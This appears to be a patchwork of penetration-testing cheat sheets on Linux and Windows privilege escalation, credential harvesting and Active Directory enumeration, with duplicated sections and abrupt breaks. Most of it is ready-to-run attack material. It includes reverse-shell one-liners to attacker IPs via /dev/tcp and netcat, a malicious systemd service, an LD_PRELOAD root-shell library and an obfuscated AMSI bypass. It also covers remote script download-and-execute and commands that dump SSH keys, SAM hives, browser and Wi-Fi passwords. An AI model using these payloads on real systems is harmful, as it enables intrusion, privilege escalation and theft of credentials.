cat /etc/ssh/ssh_host_key.pub

cat /etc/ssh/ssh_host_key

File Systems

Which configuration files can be written in /etc/? Able to reconfigure a service?

ls -aRl /etc/ | awk '$1 ~ /^.*w.*/' 2>/dev/null # Anyone

ls -aRl /etc/ | awk '$1 ~ /^..w/' 2>/dev/null # Owner

ls -aRl /etc/ | awk '$1 ~ /^.....w/' 2>/dev/null # Group

ls -aRl /etc/ | awk '$1 ~ /w.$/' 2>/dev/null # Other

find /etc/ -readable -type f 2>/dev/null # Anyone

find /etc/ -readable -type f -maxdepth 1 2>/dev/null # Anyone

What can be found in /var/ ?

ls -alh /var/log

ls -alh /var/mail

ls -alh /var/spool

ls -alh /var/spool/lpd

ls -alh /var/lib/pgsql

ls -alh /var/lib/mysql

cat /var/lib/dhcp3/dhclient.leases

Any settings/files (hidden) on website? Any settings file with database information?

ls -alhR /var/www/

ls -alhR /srv/www/htdocs/

ls -alhR /usr/local/www/apache22/data/

ls -alhR /opt/lampp/htdocs/

ls -alhR /var/www/html/

Is there anything in the log file(s) (Could help with "Local File Includes"!)

cat /etc/httpd/logs/access_log

cat /etc/httpd/logs/access.log

cat /etc/httpd/logs/error_log

cat /etc/httpd/logs/error.log

cat /var/log/apache2/access_log

cat /var/log/apache2/access.log

cat /var/log/apache2/error_log

cat /var/log/apache2/error.log

cat /var/log/apache/access_log

cat /var/log/apache/access.log

cat /var/log/auth.log

cat /var/log/chttp.log

cat /var/log/cups/error_log

cat /var/log/dpkg.log

cat /var/log/faillog

cat /var/log/httpd/access_log

cat /var/log/httpd/access.log

cat /var/log/httpd/error_log

cat /var/log/httpd/error.log

cat /var/log/lastlog

cat /var/log/lighttpd/access.log

cat /var/log/lighttpd/error.log

cat /var/log/lighttpd/lighttpd.access.log

cat /var/log/lighttpd/lighttpd.error.log

cat /var/log/messages

cat /var/log/secure

cat /var/log/syslog

cat /var/log/wtmp

cat /var/log/xferlog

cat /var/log/yum.log

cat /var/run/utmp

cat /var/webmin/miniserv.log

cat /var/www/logs/access_log

cat /var/www/logs/access.log

ls -alh /var/lib/dhcp3/

ls -alh /var/log/postgresql/

ls -alh /var/log/proftpd/

ls -alh /var/log/samba/

Note: auth.log, boot, btmp, daemon.log, debug, dmesg, kern.log, mail.info, mail.log, mail.warn, messages, syslog, udev, wtmp

Note: http://www.thegeekstuff.com/2011/08/linux-var-log-files/

If commands are limited, you break out of the "jail" shell?

python -c 'import pty;pty.spawn("/bin/bash")'

echo os.system('/bin/bash')

/bin/sh -i

How are file-systems mounted?

mount

df -h

Are there any unmounted file-systems?

cat /etc/fstab

What "Advanced Linux File Permissions" are used? Sticky bits, SUID & GUID

find / -perm -1000 -type d 2>/dev/null # Sticky bit - Only the owner of the directory or the owner of a file can delete or rename here.

find / -perm -g=s -type f 2>/dev/null # SGID (chmod 2000) - run as the group, not the user who started it.

find / -perm -u=s -type f 2>/dev/null # SUID (chmod 4000) - run as the owner, not the user who started it.

find / -perm -g=s -o -perm -u=s -type f 2>/dev/null # SGID or SUID

for i in `locate -r "bin$"`; do find $i \( -perm -4000 -o -perm -2000 \) -type f 2>/dev/null; done # Looks in 'common' places: /bin, /sbin, /usr/bin, /usr/sbin, /usr/local/bin, /usr/local/sbin and any other *bin, for SGID or SUID (Quicker search)

# find starting at root (/), SGID or SUID, not Symbolic links, only 3 folders deep, list with more detail and hide any errors (e.g. permission denied)

find / -perm -g=s -o -perm -4000 ! -type l -maxdepth 3 -exec ls -ld {} \; 2>/dev/null

Where can written to and executed from? A few 'common' places: /tmp, /var/tmp, /dev/shm

find / -writable -type d 2>/dev/null # world-writeable folders

find / -perm -222 -type d 2>/dev/null # world-writeable folders

find / -perm -o w -type d 2>/dev/null # world-writeable folders

find / -perm -o x -type d 2>/dev/null # world-executable folders

find / \( -perm -o w -perm -o x \) -type d 2>/dev/null # world-writeable & executable folders

Any "problem" files? Word-writeable, "nobody" files

find / -xdev -type d \( -perm -0002 -a ! -perm -1000 \) -print # world-writeable files

find /dir -xdev \( -nouser -o -nogroup \) -print # Noowner files

Preparation & Finding Exploit Code

What development tools/languages are installed/supported?

find / -name perl*

find / -name python*

find / -name gcc*

find / -name cc

How can files be uploaded?

find / -name wget

find / -name nc*

find / -name netcat*

find / -name tftp*

find / -name ftp

http://www.vulnview.com/cve-details.php?cvename=[CVE]

(Quick) "Common" exploits. Warning. Pre-compiled binaries files. Use at your own risk

http://web.archive.org/web/20111118031158/http://tarantula.by.ru/localroot/

http://www.kecepatan.66ghz.com/file/local-root-exploit-priv9/

Mitigations

Try doing it! Setup a cron job which automates script(s) and/or 3rd party products

Is the system fully patched?

Kernel, operating system, all applications, their plugins and web services

apt-get update && apt-get upgrade

yum update

Are services running with the minimum level of privileges required?

For example, do you need to run MySQL as root?

Scripts Can any of this be automated?!

Nmap is a scanner for network and OS services detection. However, if misconfigured to be used with “sudo” or “administrator” privileges can lead to a privilege escalation.

1. Check what sudo permission the current user has, desired “NOPASSWD”

sudo -l

2. Execute Nmap in interactive mode

sudo nmap --interactive

3. Nmap has been run with “sudo” privileges. Run a shell inside the Nmap interactive prompt

!bash or !sh

whoami

1. Having sticky bit permission I get a root shell using ‘!sh’ and now ‘!bash’ so it is worthy to try different shells.

ls -l /usr/local/bin/nmap

2. Accessing interactive mode we can run the shell

nmap --interactive

!bash

whoami

exit

!sh

whoami

1. In case that “--interactive" is not an option

sudo -l

sudo -u root nmap --interactive

2. We will now try playing with environmental variables

TF=$(mktemp)

echo 'os.execute("/bin/sh")' > $TF

sudo nmap --script=$TF

3. We now are root

bash

whoami; date; hostname

In order for the technique to work the WebDav service needs to be in running status because the WebDav doesn’t negotiate signing and therefore authentication relays from the current machine account will be allowed.

Enable WebClient Service:

#include <Windows.h>

#include <evntprov.h>

int main()

{

const GUID _MS_Windows_WebClntLookupServiceTrigger_Provider =

{ 0x22B6D684, 0xFA63, 0x4578,

{ 0x87, 0xC9, 0xEF, 0xFC, 0xBE, 0x66, 0x43, 0xC7 } };

REGHANDLE Handle;

bool success = false;

if (EventRegister(&_MS_Windows_WebClntLookupServiceTrigger_Provider,

nullptr, nullptr, &Handle) == ERROR_SUCCESS)

{

EVENT_DESCRIPTOR desc;

EventDescCreate(&desc, 1, 0, 0, 4, 0, 0, 0);

success = EventWrite(Handle, &desc, 0, nullptr) == ERROR_SUCCESS;

EventUnregister(Handle);

}

return success;

}

The above process can be conducted directly from Impacket by utilizing the “getST” python utility. Compare to Rubeus the tool doesn’t need to hash value of the machine account password but the plain-text. A service ticket can be requested by executing the following command:

getST.py -spn cifs/hive.purple.lab purple.lab/Desktop-Pentestlab\$ -impersonate administrator

The ticket will be saved as .ccache in the current working directory.

Convert Ticket:

The final ticket granting ticket (TGT) from Rubeus are based64 encoded. In order to be used for Kerberos authentication the ticket needs to be in .ccache format. Executing the following command will decode the ticket and write the output into a .kirbi file.

echo "base64" | base64 -d > admin.kirbi

Impacket contains a python utility which can convert Kerberos tickets that have the .kirbi extension to .ccache.

ticketConverter.py /home/kali/admin.kirbi admin.ccache

Access via Kerberos Authentication

Obtaining a ticket which belongs to an administrator account means that it could be used to access the target service from an elevated point of view. Both “wmiexec” and “psexec” from Impacket support Kerberos authentication and therefore could be utilized to access the host as Administrator or SYSTEM completing the privilege escalation scenario.

wmiexec.py -k -no-pass purple.lab/administrator@hive.purple.lab

Executing “psexec” will create a service on the target host and it is not considered opsec safe. However it could be executed by specifying the administrator account and the target host with the “-k” and “-no-pass” flags to use Kerberos authentication.

psexec.py -k -no-pass purple.lab/administrator@hive.purple.lab

Let’s try to view the OS Release of the lab machine. By executing:

$ lsb_release -a

We can also see the Kernel Version:

$ uname -a

We first move to the tmp directory which we will be able to create a file, paste the exploit code and then compile it.

The commands we should run are:

$ cd /tmp

$ touch exploit.c

$ vim exploit.c

Then, we should paste the exploit code inside the file, save and exit. Now, we have to compile the exploit. To do this we run:

$ gcc exploit.c -o exploit

And now we only have to execute the exploit file to see if our exploit works. By running:

$ ./exploit

The python command you can see was used to get a proper shell. The command used:

$ python -c ‘import pty; pty.spawn(“/bin/bash”)’

As we can see, we can execute shell commands by typing “!” followed by the command we would like to execute. Thus, the: “!sh” command should normally pop a shell. And as nmap has the SUID flags, we should normally get a root shell.

Linux Privilege Escalation with Setuid and Nmap

I was specifically looking for executable files where the setuid parameter was marked and where the owner was root. This essentially means when the program is executed it is executed in the permission of the owner of the file (where the EUID, the Effective User ID is root), in this case root. We would look for these types of file with the below find command:

find / -user root -perm -4000 -exec ls -la {} \;

nmap --interactive

nmap> !whoami

!whoami

root

waiting to reap child : No child processes

nmap> !sh

!sh

# id

id

uid=1002(robot) gid=1002(robot) euid=0(root) groups=0(root),1002(robot)

#

Most common techniques for privilege escalation in Linux environments:

Method #1: Find setuids. Fortunately, Metasploit has a Meterpreter script, getsystem, that will use a number of different techniques to attempt to gain … Linux Privilege Escalation Methods. Windows Local Privilege Escalation. The types of Privilege Escalation attacks can be broadly categorized into:

Horizontal Privilege Escalation.

This escalation attack allows attackers to easily elevate their privilege to that of a Domain Admin once they compromise a regular user in the domain,”Look for any of those using find command: find / -perm -4000 -ls 2> /dev/null

Most common techniques for privilege escalation in Linux environments:

Method #1: Find setuids.

Metasploit’s “Service Trusted Path Privilege Escalation” exploit takes advantage of unquoted service paths vulnerability outline in CVE-2005-1185, CVE=2005-2938 and CVE-2000-1128. VMware has evaluated the severity of this issue to be in the Important severity range with a maximum CVSSv3 base score of 7.8 . Adapt - Customize the exploit, so it fits. Become command-line options.

0. Prepare your payload root.service

[Unit]

Description=roooooooooot

[Service]

Type=simple

User=root

ExecStart=/bin/bash -c 'bash -i >& /dev/tcp/KaliIP/9999 0>&1'

[Install]

WantedBy=multi-user.target

1. Find a files/directories that writable

find / -type f -maxdepth 2 -writable

or

find / -type d -maxdepth 2 -writable

2. Transfter the payload(Or just write file there using vi)

Init the target listening the port

nc -vl 44444 > root.service

Send file to traget

nc -n TargetIP 44444 < root.service

3. Start listening on the 9999

nc -lvnp 9999

4. Execute the payload(assume the file is under /dev/shm)

/bin/systemctl enable /dev/shm/root.service

Created symlink from /etc/systemd/system/multi-user.target.wants/root.service to /dev/shm/root.service

Created symlink from /etc/systemd/system/root.service -> /dev/shm/root.service

/bin/systemctl start root

5. The nc listening on 9999 would give you the root

Linux Privilege Escalation:

Automated Tooling

1. Linpeas.sh (my go-to, fully automated)

https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS

2. Linprivchecker.py (my backup)

https://github.com/sleventyeleven/linuxprivchecker/blob/master/linuxprivchecker.py

3. Linux-Exploit-Suggest-2.pl (To look for those sneaky little Kernel Exploits)

https://github.com/jondonas/linux-exploit-suggester-2

Resources

1. The Holy Grail

https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/

2. My Second Favorite Guide

https://sushant747.gitbooks.io/total-oscp-guide/content/privilege_escalation_inux.html__

3. GTFOBins (The most comprehensive binary privesc guide)

https://gtfobins.github.io/

Permissive Root Script If a cron job is running a script as root, determine what the script is doing. If you have full permission to edit the script, you’re golden. Note: the » in the one-liner echo represents overwriting the file.

Two of my favorite examples:

Python One-Liner

echo 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.10",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);' >> test.py

Bash One-Liner (If the script is a .sh)

echo "rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc 10.10.14.10 7242 > /tmp/f" >> monitor.sh

Now set up a listener on the defined port, and wait for the script to run.

LD_Preload In some circumstances, you may be able to abuse certain services that run via LD_Preload.

Run:

sudo -l

If env_keep+=LD+PRELOAD is seen:

Make a C script named “shell” or whatever you want

nano shell.c

Compile the shell

gcc -fPIC -shared -o shell.so shell.c -nostartfiles

Take a look at what system services are being preloaded, for instance, if you see apache2 then you would do a sudo preload for apache2, escalating your current shell to a root level shell

sudo LD_PRELOAD=/home/user/shell.so apache2

Bash SUID This one absolutely blew my mind, I used it recently. If you find a private SSH Key, and you can log in with it: Check for a Bash SUID. If you have it, you might be able to escalate during authentication!

ssh -i id_rsa user@ip bash -p

Linux Privilege Escalation: Quick and Dirty

A quick and dirty Linux Privilege Escalation cheat sheet. I have utilized all of these privilege escalation techniques at least once.

Published on Aug 10, 2020

Reading time: 4 minutes.

Linux Privilege Escalation: Quick and Dirty

Automated Tooling

Usually, my approach is to use an automated tool in conjunction with some manual enumeration. However, you can completely accomplish the Privilege Escalation process from an automated tool paired with the right exploitation methodology.

1. Linpeas.sh (my go-to, fully automated)

https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS

2. Linprivchecker.py (my backup)

https://github.com/sleventyeleven/linuxprivchecker/blob/master/linuxprivchecker.py

3. Linux-Exploit-Suggest-2.pl (To look for those sneaky little Kernel Exploits)

https://github.com/jondonas/linux-exploit-suggester-2

Resources

Keep in mind, that these are just some of the techniques I have used. You’ll find that some of the existing Linux Privilege escalation guides are much more comprehensive:

1. The Holy Grail

https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/

2. My Second Favorite Guide

https://sushant747.gitbooks.io/total-oscp-guide/content/privilege_escalation_inux.html__

3. GTFOBins (The most comprehensive binary privesc guide)

https://gtfobins.github.io/

Techniques

God Mode

history

I know, seems crazy, the history command? Why? Well, I’ve successfully performed privilege escalation from finding hints or credentials in the user’s history.

Capabilities

If there’s a capability that has a setuid+ep, the command might be able to be abused

Example:

/usr/bin/python2.6 = capsetuid+ep

For instance, I used this cheat sheet for capability exploits

ref: https://www.hackingarticles.in/linux-privilege-escalation-using-capabilities/

Changing WordPress Password via MySQL DB I came across a situation in which taking over the WordPress website was essentially in the privilege escalation process due to versioning.

Find MySQL credentials

Connect to the Localhost Database

mysql -h localhost -u user -p

Authenticate using the credentials you found

Select the database that has the credentials table

USE databasename;

Change the admin password or user’s password that you have access to

UPDATE wp_users SET user_pass=PASSWORD('P@ssw0rd123!') WHERE user_login='wpadmin';

KEY: wp_users is the table, SET is for the user password field in the table, and where is for the user login field within the table.

Permissive Root Script If a cron job is running a script as root, determine what the script is doing. If you have full permission to edit the script, you’re golden. Note: the » in the one-liner echo represents overwriting the file.

Two of my favorite examples:

Python One-Liner

echo 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.10",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);' >> test.py

Bash One-Liner (If the script is a .sh)

echo "rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc 10.10.14.10 7242 > /tmp/f" >> monitor.sh

Now set up a listener on the defined port, and wait for the script to run.

LD_Preload In some circumstances, you may be able to abuse certain services that run via LD_Preload.

Run:

sudo -l

If env_keep+=LD+PRELOAD is seen:

Make a C script named “shell” or whatever you want

nano shell.c

Place the following code in the script:

```

\#include <stdio.h>

\#include <sys/types.h>

\#include <stdlib.h>

void _init() {

unsetenv("LD_PRELOAD");

setgid(0);

setuid(0);

system("/bin/bash");

}

```

Compile the shell

gcc -fPIC -shared -o shell.so shell.c -nostartfiles

Take a look at what system services are being preloaded, for instance, if you see apache2 then you would do a sudo preload for apache2, escalating your current shell to a root level shell

sudo LD_PRELOAD=/home/user/shell.so apache2

Bash SUID This one absolutely blew my mind, I used it recently. If you find a private SSH Key, and you can log in with it: Check for a Bash SUID. If you have it, you might be able to escalate during authentication!

ssh -i id_rsa user@ip bash -p

Lua Privilege Escalation This is another one of those strange one-off scenarios. I had a script that allowed me to drop into a little command prompt and run different commands as root (but most of them would just print the word “nil”). I had no idea what was happening. After a little research, I found out that nil was Lua’s version of null (basically the error was telling me that it was attempting to use Lua commands but the commands used did not exist) and the prompt I was using was some sort of Lua Script. Jokingly, I typed the following:

os.execute('/bin/sh')

I was root!!

Sudo Bypass

I noticed the following entry [(ALL, !root) /bin/bash)] upon running:

sudo -l

I had root permissions to run bash, an obvious win! Attempting to run it as the root user would not work. A quick google search helped me understand that it was a Sudo Privilege Escalation bypass:

sudo -u#-1 /bin/bash

Tar SUID

If you find a Tar SUID assigned to your current user, it’s an easy win:

sudo tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh

TMUX Session Running as Root

I cannot express how many times this one has been overlooked. I’ve legitimately exploited 5+ systems in CTF-Like environments with this gem. If you see a TMUX session running as root, look at the path. Typically, I’ve seen the session running under /.devs/dev_sess

This can be identified using:

ps -aux | grep tmux

If you see that, and a session is active as the root user, attempt an easy win:

tmux -S /.devs/dev_sess

If it works, check your privs! You might just be root.

NMAP SUID

Yes, another exceedingly simple win:

nmap --interactive

!sh

Systemctl SUID

Identifying this beauty represents yet another win

Run each one of these commands in order:

TF=$(mktemp).service

echo '[Service]

Type=oneshot

ExecStart=/bin/sh -c "id > /tmp/output"

[Install]

WantedBy=multi-user.target' > $TF

systemctl link $TF

systemctl enable --now $TF

Copy SUID

Noticing the ‘cp’ command with SUID assigned to your user account could allow you to overwrite the passwd file of the victim system, giving yourself root permissions:

Open up a terminal in your attacking machine, create a salted password:

openssl passwd -1 -salt roflroot pass123

Copy your attacking machine local passwd file to have something to edit:

cp /etc/passwd /root/Exploits

Host HTTP Server:

python -m SimpleHTTPServer 8000

Navigate to /tmp directory on the victim host machine or somewhere you have write permissions and download the passwd file:

wget http://192.168.119.221:8000/passwd

Copy passwd file to /etc/passwd:

cp passwd /etc/passwd

Switch to your created user:

su roflroot

Windows Privilege Escalation – Credentials Harvesting

Windows systems and applications often store clear text, encoded or hashed credentials in files, registry keys or in memory.

When gaining initial access to a Windows machine and performing privilege escalation enumeration steps, often passwords can be found through these means and they can be used to further escalate privileges.

Finding passwords in files:

One of the first things to do is to search for files containing the “password” string as this could help in identifying hidden credentials:

findstr /si password *.xml *.ini *.txt *.config 2>nul

cd C:\ & findstr /SI /M “password” *.xml *.ini *.txt

findstr /spin “password” *.*

Check .config or other interesting file types for those strings

dir /s *pass* == *cred* == *vnc* == *.config*

dir /S /B *pass*.txt == *pass*.xml == *pass*.ini == *cred* == *vnc* == *.config*

where /R C:\ user.txt

where /R C:\ *.ini

Older versions of windows, when performing unattended installations, used text files to store answers to questions that come up during the installation process, some of which contained clear text credentials:

c:\sysprep.inf

c:\sysprep\sysprep.xml

c:\unattend.xml

%WINDIR%\Panther\Unattend\Unattended.xml

%WINDIR%\Panther\Unattended.xml

dir /s *sysprep.inf *sysprep.xml *unattended.xml *unattend.xml *unattend.txt 2>nul

Additionally, the Windows.old directory may contain sensitive files, such as registry hives, that could be storing passwords

VNC Credentials

VNC is a graphical desktop-sharing system that uses the Remote Frame Buffer protocol to remotely control another computer. This protocol often stored clear-text user credentials in text files:

dir c:\*vnc.ini /s /b

dir c:\*ultravnc.ini /s /b

dir c:\ /s /b | findstr /si *vnc.ini

Credentials Stored in the Registry

The Windows registry often stores clear-text or encoded passwords used by various applications. Below are a few examples:

reg query “HKLM\SYSTEM\Current\ControlSet\Services\SNMP”

reg query “HKCU\Software\ORL\WinVNC3\Password”

reg query “HKCU\Software\TightVNC\Server”

reg query “HKCU\Software\OpenSSH\Agent\Key”

reg query “HKCU\Software\SimonTatham\PuTTY\Sessions”

reg query “HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon”

reg query HKLM /f password /t REG_SZ /s

reg query HKCU /f password /t REG_SZ /s

Check for SAM and SYSTEM files access

The Security Account Manager application is used to securely store users’ encrypted passwords using encryption. They are stored in a registry hive as a LM or NTLM hash. They can be stored in the following keys:

%SYSTEMROOT%\repair\SAM

%SYSTEMROOT%\System32\config\RegBack\SAM

%SYSTEMROOT%\System32\config\SAM

%SYSTEMROOT%\repair\system

%SYSTEMROOT%\System32\config\SYSTEM

%SYSTEMROOT%\System32\config\RegBack\system

Common Web Configuration Files

Web applications might store clear-text or encoded credentials in text files. The Inetpub folder is the default folder for Microsoft IIS and if present, it is likely to contain confidentials information. Some example commands are:

dir /a C:\inetpub\

dir /s web.config

C:\Windows\System32\inetsrv\config\applicationHost.config

Get-Childitem –Path C:\inetpub\ -Include web.config -File -Recurse -ErrorAction SilentlyContinue

dir /s php.ini httpd.conf httpd-xampp.conf my.ini my.cnf

Web Logs

Apache, Tomcat and IIS have logs that are used to store user access to a web application and any errors that may have occurred in the web application.

These are usually store in these locations:

dir /s access.log error.log

C:\inetpub\logs\LogFiles\W3SVC1\u_ex[YYMMDD].log

C:\inetpub\logs\LogFiles\W3SVC2\u_ex[YYMMDD].log

C:\inetpub\logs\LogFiles\FTPSVC1\u_ex[YYMMDD].log

C:\inetpub\logs\LogFiles\FTPSVC2\u_ex[YYMMDD].log

Cached & Saved Credentials

Windows often uses applications such as the Windows Vault to store login credentials for servers and sites.

Cmdkey is a command used to create/list/delete stored user names, passwords or credentials. The below can be used to list saved credentials:

cmdkey /list

Once verifying that credentials are stored in the system, the runas command can be used with the /savecred flag to execute commands as another user using the saved credentials:

runas /savecred /user:WORKGROUP\Administrator “\\10.10.10.10\SHARE\evil.exe”

runas can also be used by providing user credentials:

• C:\Windows\System32\runas.exe /env /noprofile /user:<username> <password> “c:\users\Public\nc.exe -nc <attacker-ip> 4444 -e cmd.exe”

or

• $ secpasswd = ConvertTo-SecureString “<password>” -AsPlainText -Force

• $ mycreds = New-Object System.Management.Automation.PSCredential (“<user>”, $secpasswd)

• $ computer = “<hostname>” [System.Diagnostics.Process]::Start(“C:\users\public\nc.exe”,”<attacker_ip> 4444 -e cmd.exe”, $mycreds.Username, $mycreds.Password, $computer)

Windows Credential Store

The Windows Credential Store is a feature of Windows that saves usernames, passwords, and certificates for systems, websites, and servers.

information is stored.

The Credential Manager stores two types of credentials: Web and Windows. There are two PowerShell scripts that can help harvest this data:Gathering

Web Credentials:

https://github.com/samratashok/nishang/blob/master/Gather/Get-WebCredentials.ps1

Windows Credentials

https://github.com/peewpw/Invoke-WCMDump/blob/master/Invoke-WCMDump.ps1

Group Policy Preferences (GPP Passwords)

If the box is part of a domain and the current user user has access to read System Volume Information, this can help find passwords stored in files.

Start by checking the environment variables for the IP-address of the domain controller. Output environment-variables with the following:

LOGONSERVER=\\NAMEOFSERVER

USERDNSDOMAIN=WHATEVER.LOCAL

Then look up the IP-address

nslookup nameofserver.whatever.local

Mount the volume and search for the groups.xml file

net use z: \\192.168.1.101\SYSVOL

z:

dir Groups.xml /s

Otherwise, these can be found in C:\ProgramData\Microsoft\Group Policy\history or in C:\Documents and Settings\All Users\Application Data\Microsoft\Group Policy\history, by looking for:

Groups.xml

Services.xml

Scheduledtasks.xml

DataSources.xml

Printers.xml

Drives.xml

The next step is decrypt the passowrds using the gpp-decrypt tool.

You can also do this with PowerView and the Get-GPPPpassword script.

Using Powershell to load them into memory:

IEX(New-Object Net.WebClient).DownloadString(“http://10.0.0.100/Get-GPPPassword.ps1″)

IEX(New-Object Net.WebClient).DownloadString(“http://10.0.0.100/powerview.ps1″)

Then run the Get-GPPPassword tool and feed any listed passwords to PowerView. This will check any found credentials against other machines.

Get-NetOU -GUID “{4C86DD57-4040-41CD-B163-58F208A26623}” | %{ Get-NetComputer -ADSPath $_ }

Visit https://www.toshellandback.com/2015/08/30/gpp/ for more info.

Services and Applications Storing Credentials

Applications that are used to access systems or services remotely such as Remmina/PuTTY, RDP, Filezilla etc often store passwords in memory or in files. These can be retrieved using SessionGopher:

https://raw.githubusercontent.com/Arvanaghi/SessionGopher/master/SessionGopher.ps1

Import-Module path\to\SessionGopher.ps1;

Invoke-SessionGopher -AllDomain -o

Invoke-SessionGopher -AllDomain -u domain.com\stef -p password

Lazagne can also be used to exctract credentials from many applications.

Credentials Stored in Browsers

Browsers such as Google Chrome, Firefox, Microsoft Edge etc. can often store passwords when authentication to a website is performed. Lazagne is an open source application used to retrieve passwords stored on a local computer, and one of its many functions is to retrieve passwords stored in internet browsers.

Command Description

laZagne.exe all Launch all modules

laZagne.exe browsers Launch only a specific module

laZagne.exe browsers -firefox Launch a specific software script

laZagne.exe -h

laZagne.exe browsers -h Get help

laZagne.exe all -vv Change verbosity mode (2 different levels)

Additionally, the following Metasploit modules can also be used:

use post/window/gather/enum_chrome

use post/window/gather/enum_firefox

use post/window/gather/enum_ie

Saved RDP Connections

RDP has the ability to save connection information (such as passwords) in the registry. They can be found at the following registry keys:

HKEY_USERS\\Software\Microsoft\Terminal Server Client\Servers\

HKCU\Software\Microsoft\Terminal Server Client\Servers\

Powershell Command History

Commands executed using powershell are stored in a history file (similar to the .bash_history file in linux), if clear-text credentials were entered when issuing a command, this could be exploited by accessing the history file:

type C:\Users\swissky\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt

type $env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt

cat (Get-PSReadlineOption).HistorySavePath

cat (Get-PSReadlineOption).HistorySavePath | sls passw

Wi-Fi Credentials

Command Description

netsh wlan show profile List available AP SSID

netsh wlan show profile <SSID> key=clear Get the clear-text password use

cls & echo. & for /f “tokens=4 delims=: ” %a in (‘netsh wlan show profiles ^| find “Profile “‘) do @echo off > nul & (netsh wlan show profiles name=%a key=clear | findstr “SSID Cipher Content” | find /v “Number” & echo.) & @echo on

Additional Metasploit Modules

There are certain Metasploit modules that aim at to find clear-text or encoded credentials in a target system:

use post/windows/gather/credentials/gpp

use post/windows/gather/credential_collector

use post/window/gather/enum_chrome

use post/window/gather/enum_firefox

use post/window/gather/enum_ie

use post/multi/gather/filezilla_client_cred

use post/multi/gather/firefox_creds

use post/multi/gather/irssi_creds

use post/multi/gather/lastpass_creds

use post/multi/gather/maven_creds

use post/multi/gather/netrc_creds

use post/multi/gather/pidgin_cred

use post/multi/gather/rsyncd_creds

use post/multi/gather/ssh_creds

use post/multi/gather/thunderbird_creds

Automated enumeration scripts will also perform credential harvesting although it’s always best to do this manually.

credentialsguideHackingpasswordPenetration TestingPentestingpowershellPrivilege EscalationWindows

There is one more shortcut which you can use when you have access to vim, you can use the following command to trigger the root shell using vim.

sudo vi -c '!bash'

Vim is a very versatile text editor which have many awesome functionalities including the ability to open a shell inside it.

So, to open vim as root we can use the following command.

sudo vi test.sh

As soon as you will execute it, vi window will open, now you need to switch into the command mode you can do that by pressing ESC key.

In command mode, use :!bash command this will open a root shell.

There is one more shortcut which you can use when you have access to vim, you can use the following command to trigger the root shell using vim.

sudo vi -c '!bash'

Domain Enumeration:

Enumerate Domain:

− Users − Computers − Domain Administrators − Enterprise Administrators − Shares

Script Bypass: powershell -ep bypass

Bypass amsi: sET-ItEM ( 'V'+'aR' + 'IA' + 'blE:1q2' + 'uZx' ) ( [TYpE]( "{1}{0}"-F'F','rE' ) ) ; ( GeT-VariaBle ( "1Q2U" +"zX" ) -VaL )."AssEmbly"."GETTYPe"(( "{6}{3}{1}{4}{2}{0}{5}" - f'Util','A','Amsi','.Management.','utomation.','s','System' ) )."getfiElD"( ( "{0}{2}{1}" -f'amsi','d','InitFaile' ),( "{2}{4}{0}{1}{3}" -f 'Stat','i','NonPubli','c','c,' ))."sETVaLUE"( ${nULl},${tRuE} )

Powerview: . .\PowerView.ps1

Get-NetUser

List property of all users,

Get-NetUser | select -ExpandProperty samaccountname

Enumerate member computers

Get-NetComputer

Attributes of Domain Admin Group

Get-NetGroup -GroupName "Domain Admins" -FullData

Enumerate members of Domain Admin Group:

Get-NetGroupMember -GroupName "Domain Admins"

Enumerate members of Enterprise Group:

Get-NetGroupMember -GroupName "Enterprise Admins"

Get-NetGroupMember -GroupName "Enterprise Admins" –Domain xxxx.local

Find Interesting Shares:

Invoke-ShareFinder -ExcludeStandard -ExcludePrint -ExcludeIPC –Verbose

ENUMERATING GPO & ENUMERATE RESTRICTED GROUPS from GPO:

Get-NetGPOGroup -Verbose

Look for memberships of the Group "RDPUsers"

Get-NetGroupMember -GroupName RDPUsers

List all the OUs:

Get-NetOU

List all computers in specific OU:

Get-NetOU LockedMachines | %{Get-NetComputer -ADSPath $_}

List GPOs:

Get-NetGPO

Enumerate GPO applied in specific OU:

Get-NetOU LockedMachines -FullData).gplink [LDAP://cn={3E04167E-C2B6-4A9A8FC811158DC97C},cn=policies,cn=system,DC=lockedcorp,DC=lockedcorp

,DC=local;0]

Get-NetGPO -ADSpath 'LDAP://cn={3E04167E-C2B6-4A9A-8FB7-C811158DC97C},cn=policies,cn=system,DC=lockedcorp,DC=lockedcorp,DC=local'

ENUMERATING ACLS

Enumerate ACLs with Powerview

Get-ObjectAcl -SamAccountName "users" -ResolveGUIDs -Verbose

Enumerate ACLs of Domain Admin Group

Get-ObjectAcl -SamAccountName "Domain Admins" -ResolveGUIDs - Verbose

Enumerate ACLs for all GPOs:

Get-NetGPO | %{Get-ObjectAcl -ResolveGUIDs -Name $_.Name}

Enumerate GPO for user or RDPUser group

Get-NetGPO | %{Get-ObjectAcl -ResolveGUIDs -Name $.Name} ?{$.IdentityReference -match "user"}

Check for modify rights/persmissions

Invoke-ACLScanner -ResolveGUIDs | ?{$_.IdentityReference - match "student"}

Invoke-ACLScanner -ResolveGUIDs | ?{$_.IdentityReference - match "RDPUsers"}

ENUMERATE TRUSTS:

Enumerate ALL domains

Get-NetForestDomain -Verbose

Map the trusts of the domain:

Get-NetDomainTrust

Map all trusts to forest:

Get-NetForestDomain -Verbose | Get-NetDomainTrust

List only external trusts

Get-NetForestDomain -Verbose | Get-NetDomainTrust | ?{$_.TrustType -eq 'External'}

Identify external trusts of domain

Get-NetDomainTrust | ?{$_.TrustType -eq 'External'}

If Bi-directional trust try and extract info from forest:

